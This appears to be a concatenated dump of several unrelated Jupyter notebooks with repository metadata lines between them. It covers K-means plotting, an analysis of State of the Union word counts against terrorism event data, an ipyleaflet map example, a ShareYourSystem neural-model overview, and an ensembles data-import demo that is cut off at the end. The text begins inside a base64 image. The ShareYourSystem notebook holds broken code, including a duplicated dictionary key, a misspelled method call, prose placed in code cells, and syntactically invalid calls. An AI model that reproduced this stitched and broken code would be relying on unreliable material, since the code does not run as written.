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\n", "text/plain": [ "<matplotlib.figure.Figure at 0x1b45d550>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.figure(figsize=(6,6))\n", "\n", "plt.xlabel(\"cost\",fontsize=14)\n", "plt.ylabel(\"duration\", fontsize=14)\n", "\n", "plt.title(\"After K-Means Clustering\", fontsize=20)\n", "\n", "plt.plot(x, y, 'k.', color='#ffaaaa', markersize=45, alpha=0.6)\n", "\n", "# Plot the centroids as a blue X\n", "centroids = kmeans.cluster_centers_\n", "\n", "plt.scatter(centroids[:, 0], centroids[:, 1], marker='x', s=200,\n", " linewidths=3, color='b', zorder=10)\n", "plt.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.10" } }, "nbformat": 4, "nbformat_minor": 0 }

mit

cmeb45/EDAV_Project_4

Event analysis.ipynb

1

6313

{ "cells": [ { "cell_type": "code", "execution_count": 255, "metadata": { "collapsed": false }, "outputs": [], "source": [ "import nltk\n", "import pickle\n", "import pandas as pd\n", "import re\n", "import matplotlib\n", "import pylab as plt" ] }, { "cell_type": "code", "execution_count": 330, "metadata": { "collapsed": false }, "outputs": [], "source": [ "from nltk.corpus import stopwords\n", "import numpy as np\n", "from sklearn.feature_extraction.text import CountVectorizer\n", "from collections import Counter\n", "\n", "# Cleaning and arranging SOTU\n", "f = open('State of the Union Addresses 1970-2016_edited.txt')\n", "lines = f.readlines()\n", "bigline = \" \".join(lines)\n", "stars = bigline.split('***')\n", "splits = [s.split('\\n') for s in stars[1:]]\n", "\n", "filtered_words = [word for word in splits if word not in stopwords.words('english')]\n", "\n", "tups = [(s[2].strip(), s[3].strip(), s[4].strip(), \"\".join(s[5:])) for s in filtered_words]\n", "speech_df = pd.DataFrame(tups)" ] }, { "cell_type": "code", "execution_count": 340, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# overall Sotu\n", "\n", "count_vect = CountVectorizer(stop_words='english')\n", "count_vect.fit(speech_df[3])\n", "X = count_vect.transform(speech_df[3])\n", "freq = zip(count_vect.get_feature_names(), np.asarray(X.sum(axis=0)).ravel())\n", "df = pd.DataFrame(freq)\n", "df.columns = ['word', 'count']\n", "result_overall = df.sort('count', ascending=[0])\n", "\n", "top_20 = result_overall.head(20)\n", "\n", "top_20.plot(x = 'word', y = 'count',kind = 'bar')\n", "\n", "plt.show()" ] }, { "cell_type": "code", "execution_count": 257, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Cleaning Violence data\n", "# from http://www.johnstonsarchive.net/terrorism/wrjp255a.html \n", "\n", "events = \"violence_2.csv\"\n", "tags = ['description']\n", "event_df = pd.read_csv(events, header = None, names = tags)" ] }, { "cell_type": "code", "execution_count": 258, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# vectorizing violence and finding top 10\n", "count_vect = CountVectorizer(stop_words='english')\n", "\n", "count_vect.fit(event_df['description'])\n", "X = count_vect.transform(event_df['description'])\n", "\n", "freq = zip(count_vect.get_feature_names(), np.asarray(X.sum(axis=0)).ravel())\n", "\n", "df = pd.DataFrame(freq)\n", "\n", "df.columns = ['word', 'count']\n", "result = df.sort('count', ascending=[0])\n", "top_10 = result.head(10)" ] }, { "cell_type": "code", "execution_count": 269, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Data set with type of event and year\n", "\n", "events_year = \"Events by year.csv\"\n", "tags_year = ['year','type']\n", "event_year_df = pd.read_csv(events_year, header = True, names = tags_year)\n", "\n", "event_year_df['year_string'] = event_year_df['year'].astype(str).str[:-2]\n", "\n", "event_pivot = pd.pivot_table(event_year_df,index='year_string', columns='type', aggfunc=len, fill_value=0)" ] }, { "cell_type": "code", "execution_count": 260, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# vectorizing SOTU and finding the count of words in each\n", "\n", "columns = ['word','count','Pres','Date']\n", "df_words = pd.DataFrame(columns=columns)\n", "df_words = df_words.fillna(0)\n", "\n", "for i in range(len(speech_df)):\n", " words = speech_df.loc[i,3].lower().split()\n", " count = Counter(words).items()\n", " df_speech_words = pd.DataFrame(count)\n", " df_speech_words.columns = ['word', 'count']\n", " df_speech_words['Pres'] = speech_df.loc[i,1]\n", " df_speech_words['Date'] = speech_df.loc[i,2]\n", "\n", "\n", " df_words = df_words.append(df_speech_words)" ] }, { "cell_type": "code", "execution_count": 261, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# merge top 10 list and \n", "combined_result = pd.merge(top_10, df_words, how='inner', on=['word'])\n", "combined_result['year'] = combined_result['Date'].str[-4:]" ] }, { "cell_type": "code", "execution_count": 262, "metadata": { "collapsed": false }, "outputs": [], "source": [ "pivoted = pd.pivot_table(combined_result, values='count_y', columns='word', index='year')" ] }, { "cell_type": "code", "execution_count": 314, "metadata": { "collapsed": false }, "outputs": [], "source": [ "# Combining speech and events\n", "\n", "results_to_plot = pd.concat([pivoted,event_pivot], axis=1).fillna(0)\n", "\n", "ax = results_to_plot['shot'].plot(kind=\"bar\", legend = True);plt.xticks(rotation=90)\n", "ax.set_xlabel('Year')\n", "ax.set_ylabel('count')\n", "\n", "plt.plot(ax.get_xticks(), results_to_plot['year','TER-islm'], '-b', label='Islamic Terrorism')\n", "plt.plot(ax.get_xticks(), results_to_plot['year','TER-right'], '-r', label='Rightist Terrorism')\n", "plt.plot(ax.get_xticks(), results_to_plot['year','TER-left'], '-g', label='Leftist Terrorism')\n", "plt.plot(ax.get_xticks(), results_to_plot['year','CRI'], '-c', label='Criminal Incident')\n", "plt.plot(ax.get_xticks(), results_to_plot['year','TER-natl'], '-m', label='Nationalist Terrorism')\n", "plt.legend(loc='upper left')\n", "\n", "plt.show()" ] } ], "metadata": { "kernelspec": { "display_name": "Python 2", "language": "python", "name": "python2" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 2 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython2", "version": "2.7.11" } }, "nbformat": 4, "nbformat_minor": 0 }

apache-2.0

wasit7/algae2

shrimp/beta/shrimp_demo.ipynb

1

1650316

gpl-2.0

ellisonbg/leafletwidget

examples/MarkerCluster.ipynb

1

1036

{ "cells": [ { "cell_type": "code", "execution_count": null, "metadata": {}, "outputs": [], "source": [ "from ipyleaflet import Map, Marker, MarkerCluster\n", "import geopandas\n", "\n", "\n", "cities = geopandas.read_file(\"zip://./geopandas_cities.zip\")\n", "\n", "m = Map(center=(42.5, -41.6), zoom=2)\n", "m.add_layer(MarkerCluster(\n", " markers=[Marker(location=geolocation.coords[0][::-1]) for geolocation in cities.geometry],\n", " disable_clustering_at_zoom=3,\n", " max_cluster_radius=100)\n", " )\n", "m" ] } ], "metadata": { "kernelspec": { "display_name": "Python 3", "language": "python", "name": "python3" }, "language_info": { "codemirror_mode": { "name": "ipython", "version": 3 }, "file_extension": ".py", "mimetype": "text/x-python", "name": "python", "nbconvert_exporter": "python", "pygments_lexer": "ipython3", "version": "3.9.4" } }, "nbformat": 4, "nbformat_minor": 4 }

mit

Ledoux/ShareYourSystem

Pythonlogy/ShareYourSystem/Overview.ipynb

1

13638

{ "metadata": { "name": "", "signature": "sha256:094266fe386cca99982506ac3dea1b4f8183f1e388ebde91a4fc9d760c9a03e7" }, "nbformat": 3, "nbformat_minor": 0, "worksheets": [ { "cells": [ { "cell_type": "markdown", "metadata": {}, "source": [ "#Overview of the SYS framework" ] }, { "cell_type": "code", "collapsed": false, "input": [ "#/###################/#\n", "# Global config\n", "#\n", "\n", "#ImportModules\n", "import ShareYourSystem as SYS\n", "\n", "#style for the notebook\n", "SYS.setStyle()\n", "\n", "#SYS config\n", "SYS.DebugPrintBool=False\n", "\n", "#Backend plot config\n", "%pylab inline" ], "language": "python", "metadata": {}, "outputs": [ { "html": [ "<style>\n", "@import url('http://fonts.googleapis.com/css?family=Crimson+Text');\n", "@import url('http://fonts.googleapis.com/css?family=Kameron');\n", "@import url('http://fonts.googleapis.com/css?family=Lato:200');\n", "@import url('http://fonts.googleapis.com/css?family=Lato:300');\n", "@import url('http://fonts.googleapis.com/css?family=Lato:400');\n", "@import url('http://fonts.googleapis.com/css?family=Source+Code+Pro');\n", "\n", "/* Change code font */\n", ".CodeMirror pre {\n", " font-family: 'Source Code Pro', Consolas, monocco, monospace;\n", "}\n", "\n", "div.input_area {\n", " border-color: rgba(0,0,0,0.10);\n", " background: rbga(0,0,0,0.5);\n", "}\n", "\n", "div.text_cell {\n", " max-width: 180ex; /* instead of 100%, */\n", "}\n", "\n", "div.text_cell_render {\n", " font-family: \"Crimson Text\";\n", " font-size: 16pt;\n", " line-height: 130%; /* added for some line spacing of text. */\n", "}\n", "\n", "div.text_cell_render h1,\n", "div.text_cell_render h2,\n", "div.text_cell_render h3,\n", "div.text_cell_render h4,\n", "div.text_cell_render h5,\n", "div.text_cell_render h6 {\n", " font-family: 'Kameron';\n", " font-weight: 300;\n", " color : #3399CC ;\n", "}\n", "\n", "div.text_cell_render h1 {\n", " font-size: 50pt;\n", " font-weight: bold;\n", " color : #3399CC ;\n", " text-align: center;\n", "}\n", "\n", "div.text_cell_render h2 {\n", " font-size: 25pt;\n", " font-weight: bold;\n", " color : #3399CC ;\n", " text-decoration: underline;\n", "}\n", "\n", "div.text_cell_render h3 {\n", " font-size: 20pt;\n", " color : #3399CC ;\n", "\n", "}\n", "\n", ".rendered_html pre,\n", ".rendered_html code {\n", " font-size: medium;\n", "}\n", "\n", ".rendered_html ol {\n", " list-style:decimal;\n", " margin: 1em 2em;\n", "}\n", "\n", ".prompt.input_prompt {\n", " color: rgba(0,0,0,0.5);\n", "}\n", "\n", ".cell.command_mode.selected {\n", " border-color: rgba(0,0,0,0.1);\n", "}\n", "\n", ".cell.edit_mode.selected {\n", " border-color: rgba(0,0,0,0.15);\n", " box-shadow: 0px 0px 5px #f0f0f0;\n", " -webkit-box-shadow: 0px 0px 5px #f0f0f0;\n", "}\n", "\n", "div.output_scroll {\n", " -webkit-box-shadow: inset 0 2px 8px rgba(0,0,0,0.1);\n", " box-shadow: inset 0 2px 8px rgba(0,0,0,0.1);\n", " border-radious: 2px;\n", "}\n", "\n", "#menubar .navbar-inner {\n", " background: #fff;\n", " -webkit-box-shadow: none;\n", " box-shadow: none;\n", " border-radius: 0;\n", " border: none;\n", " font-family: lato;\n", " font-weight: 400;\n", "}\n", "\n", ".navbar-fixed-top .navbar-inner,\n", ".navbar-static-top .navbar-inner {\n", " box-shadow: none;\n", " -webkit-box-shadow: none;\n", " border: none;\n", "}\n", "\n", "div#notebook_panel {\n", " box-shadow: none;\n", " -webkit-box-shadow: none;\n", " border-top: none;\n", "}\n", "\n", "div#notebook {\n", " border-top: 1px solid rgba(0,0,0,0.15);\n", "}\n", "\n", "#menubar .navbar .navbar-inner,\n", ".toolbar-inner {\n", " padding-left: 0;\n", " padding-right: 0;\n", "}\n", "\n", "#checkpoint_status,\n", "#autosave_status {\n", " color: rgba(0,0,0,0.5);\n", "}\n", "\n", "#header {\n", " font-family: lato;\n", "}\n", "\n", "#notebook_name {\n", " font-weight: 200;\n", "}\n", "\n", "/* \n", " This is a lazy fix, we *should* fix the \n", " background for each Bootstrap button type\n", "*/\n", "#site * .btn {\n", " background: #fafafa;\n", " -webkit-box-shadow: none;\n", " box-shadow: none;\n", "}\n", "\n", "</style>" ], "metadata": {}, "output_type": "display_data", "text": [ "<IPython.core.display.HTML at 0x105c623d0>" ] }, { "output_type": "stream", "stream": "stdout", "text": [ "Populating the interactive namespace from numpy and matplotlib\n" ] } ], "prompt_number": 1 }, { "cell_type": "markdown", "metadata": {}, "source": [ "###1. Design scientific structure of objects" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "####A. Thinking like a JSON data structure for building objects" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "SYS proposes an API that builds architectures of objects like a JSON interface." ] }, { "cell_type": "code", "collapsed": false, "input": [ "#/###################/#\n", "# Import modules\n", "#\n", "\n", "#ImportModules\n", "import ShareYourSystem as SYS\n", "\n", "#/###################/#\n", "# Build a neural network model\n", "#\n", "\n", "#Define\n", "MyLeaker=SYS.LeakerClass(\n", " ).mapSet(\n", " {\n", " '-Populations':{\n", " 'ManagingShareVariable':{\n", " 'LeakingSymbolPrefixStr':'V',\n", " 'LeakingNoiseStdVariable':0.1,\n", " 'LeakingThresholdVariable':'#scalar:V>-50*mV',\n", " 'LeakingResetVariable':-70.,\n", " },\n", " '|I':{\n", " 'LeakingUnitsInt':100,\n", " '-Interactions':{\n", " '|/':{\n", " 'LeakingWeigthVariable':\"#array\",\n", " 'LeakingDaleStr':\"I\",\n", " 'LeakingInteractionStr':\"Spike\"\n", " }\n", " },\n", " 'RecordingLabelVariable':[0,1]\n", " },\n", " '|I':{\n", " 'LeakingUnitsInt':20,\n", " '-Inputs':{\n", " '|Rest':{\n", " 'LeakingWeigthVariable':'#scalar:-60*mV'\n", " },\n", " '|External':{\n", " 'LeakingWeigthVariable':'#scalar:11*mV'\n", " }\n", " },\n", " '-Interactions':{\n", " '|toE':{\n", " 'LeakingWeigthVariable':\"#array\",\n", " 'LeakingInteractionStr':\"Rate\"\n", " }\n", " },\n", " 'RecordingLabelVariable':[0,1]\n", " }\n", " }\n", " }\n", " )" ], "language": "python", "metadata": {}, "outputs": [], "prompt_number": 2 }, { "cell_type": "code", "collapsed": false, "input": [ "\n", "#print\n", "print('MyLeaker is ')\n", "SYS._print(MyLeaker)" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "####B. Using an ontology of classes for defining derived methods setting the whole structure" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "In the example here, now we have established the vertical and horizontal relationships between objects.\n", "We can call top methods that will parse the structure to instanciate new objects at particular nodes, helpful next to ensure a scientific computation.\n", "\n", "Here we show the example of two structuring successive methods :\n", "\n", "* leak, that establishes a differential equation framework suggested by the structure, setting essentially LeakedModelStr in the Population and Interaction Managersn that can be then used by scientific modules interpreting expression strs like brian.\n", "\n", "* brian, that instanciates Network, NeuronGroup, Synapses, State or Spike Monitor at the good levels.\n", "\n" ] }, { "cell_type": "code", "collapsed": false, "input": [ "\n", "#leak and brian\n", "MyLeaker.leak(\n", " ).brian(\n", " )\n" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "code", "collapsed": false, "input": [ "#print\n", "print('MyLeaker is ')\n", "SYS._print(MyLeaker)" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "code", "collapsed": false, "input": [ "We can simulate" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "code", "collapsed": false, "input": [ "\n", "#simulate\n", "MyLeaker.siimulate(\n", " )\n", "\n", "\n", "MyLeaker['-Populations/|I/-Traces/|*V/-Samples/|Default/BrianedSpikeMonitorVariable']\n" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "code", "collapsed": false, "input": [ "####C. Design views" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can set a view and call pyplot for proposing a view" ] }, { "cell_type": "code", "collapsed": false, "input": [ "#leak and brian\n", "MyLeaker.mapSet(\n", " '-Panels':\n", " '|Run':{\n", " '-Charts':{\n", " \n", " }\n", " }\n", " ).view(\n", " ).pyplot(\n", " )" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "code", "collapsed": false, "input": [ "####D. Design models" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "Store in mongo" ] }, { "cell_type": "code", "collapsed": false, "input": [ "MyLeaker.mapSet(\n", " '-Panels':\n", " '|Run':{\n", " '-Charts':{\n", " \n", " }\n", " }\n", " ).model(\n", " )" ], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "We can then do a parameter grid search" ] }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###2. Share on the fly your pythonic scientific structures with the SYS-Meteor GUI" ] }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] }, { "cell_type": "markdown", "metadata": {}, "source": [ "###3. Build your own documentation towards Read the Docs" ] }, { "cell_type": "code", "collapsed": false, "input": [], "language": "python", "metadata": {}, "outputs": [] } ], "metadata": {} } ] }

mit

unnati-xyz/ensemble-package

ensembles/Examples/Data Import/Data Import.ipynb

2

9580

{ "cells": [ { "cell_type": "code", "execution_count": 1, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/sklearn/cross_validation.py:44: DeprecationWarning: This module was deprecated in version 0.18 in favor of the model_selection module into which all the refactored classes and functions are moved. Also note that the interface of the new CV iterators are different from that of this module. This module will be removed in 0.20.\n", " \"This module will be removed in 0.20.\", DeprecationWarning)\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/sklearn/grid_search.py:43: DeprecationWarning: This module was deprecated in version 0.18 in favor of the model_selection module into which all the refactored classes and functions are moved. This module will be removed in 0.20.\n", " DeprecationWarning)\n", "Using Theano backend.\n" ] } ], "source": [ "import ensembles as en\n", "import pandas as pd\n", "import numpy as np\n", "import xgboost as xgb\n", "import category_encoders as ce\n", "from sklearn import datasets, linear_model, preprocessing, grid_search\n", "from sklearn.preprocessing import Imputer, PolynomialFeatures, StandardScaler\n", "from sklearn.tree import DecisionTreeClassifier\n", "from sklearn.cross_validation import KFold\n", "from sklearn.ensemble import RandomForestClassifier\n", "from sklearn.cross_validation import StratifiedKFold, KFold\n", "from sklearn.preprocessing import OneHotEncoder\n", "from sklearn.externals import joblib\n", "from keras.layers import Dense, Activation, Dropout\n", "from keras.models import Sequential\n", "from keras.regularizers import l2, activity_l2\n", "from sklearn.metrics import roc_auc_score, average_precision_score, f1_score, log_loss, accuracy_score, \\\n", "mean_absolute_error, mean_squared_error, r2_score\n", "from sklearn.cross_validation import train_test_split\n", "from joblib import Parallel, delayed\n", "from sklearn.pipeline import Pipeline\n", "from hyperopt import hp, fmin, tpe, STATUS_OK, Trials \n", "from hyperas import optim\n", "from hyperas.distributions import choice, uniform, conditional\n", "from functools import partial\n", "np.random.seed(1338)" ] }, { "cell_type": "code", "execution_count": 2, "metadata": { "collapsed": true }, "outputs": [], "source": [ "#Importing the data" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Example 1" ] }, { "cell_type": "code", "execution_count": 3, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:178: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[col] = X[col].astype(int).reshape(-1, )\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:167: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[switch.get('col')] = X[switch.get('col')].astype(int).reshape(-1, )\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Training Data (41188, 21)\n", "Test Data (12357, 21)\n" ] } ], "source": [ "Data = pd.read_csv('/home/prajwal/Desktop/bank-additional/bank-additional-full.csv',delimiter=';',header=0)\n", "data_test = en.data_import(Data, label_output='y')\n", "print('Training Data',Data.shape)\n", "print('Test Data',data_test.shape)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Example 2" ] }, { "cell_type": "code", "execution_count": 4, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:178: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[col] = X[col].astype(int).reshape(-1, )\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:167: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[switch.get('col')] = X[switch.get('col')].astype(int).reshape(-1, )\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Training Data (41188, 21)\n", "Test Data (12357, 36)\n" ] } ], "source": [ "Data = pd.read_csv('/home/prajwal/Desktop/bank-additional/bank-additional-full.csv',delimiter=';',header=0)\n", "data_test = en.data_import(Data, label_output='y',encode = 'binary')\n", "print('Training Data',Data.shape)\n", "print('Test Data',data_test.shape)" ] }, { "cell_type": "markdown", "metadata": {}, "source": [ "# Example 3" ] }, { "cell_type": "code", "execution_count": 5, "metadata": { "collapsed": false }, "outputs": [ { "name": "stderr", "output_type": "stream", "text": [ "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:178: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[col] = X[col].astype(int).reshape(-1, )\n", "/home/prajwal/anaconda3/lib/python3.5/site-packages/category_encoders/ordinal.py:167: FutureWarning: reshape is deprecated and will raise in a subsequent release. Please use .values.reshape(...) instead\n", " X[switch.get('col')] = X[switch.get('col')].astype(int).reshape(-1, )\n" ] }, { "name": "stdout", "output_type": "stream", "text": [ "Training Data (41188, 21)\n" ] } ], "source": [ "Data = 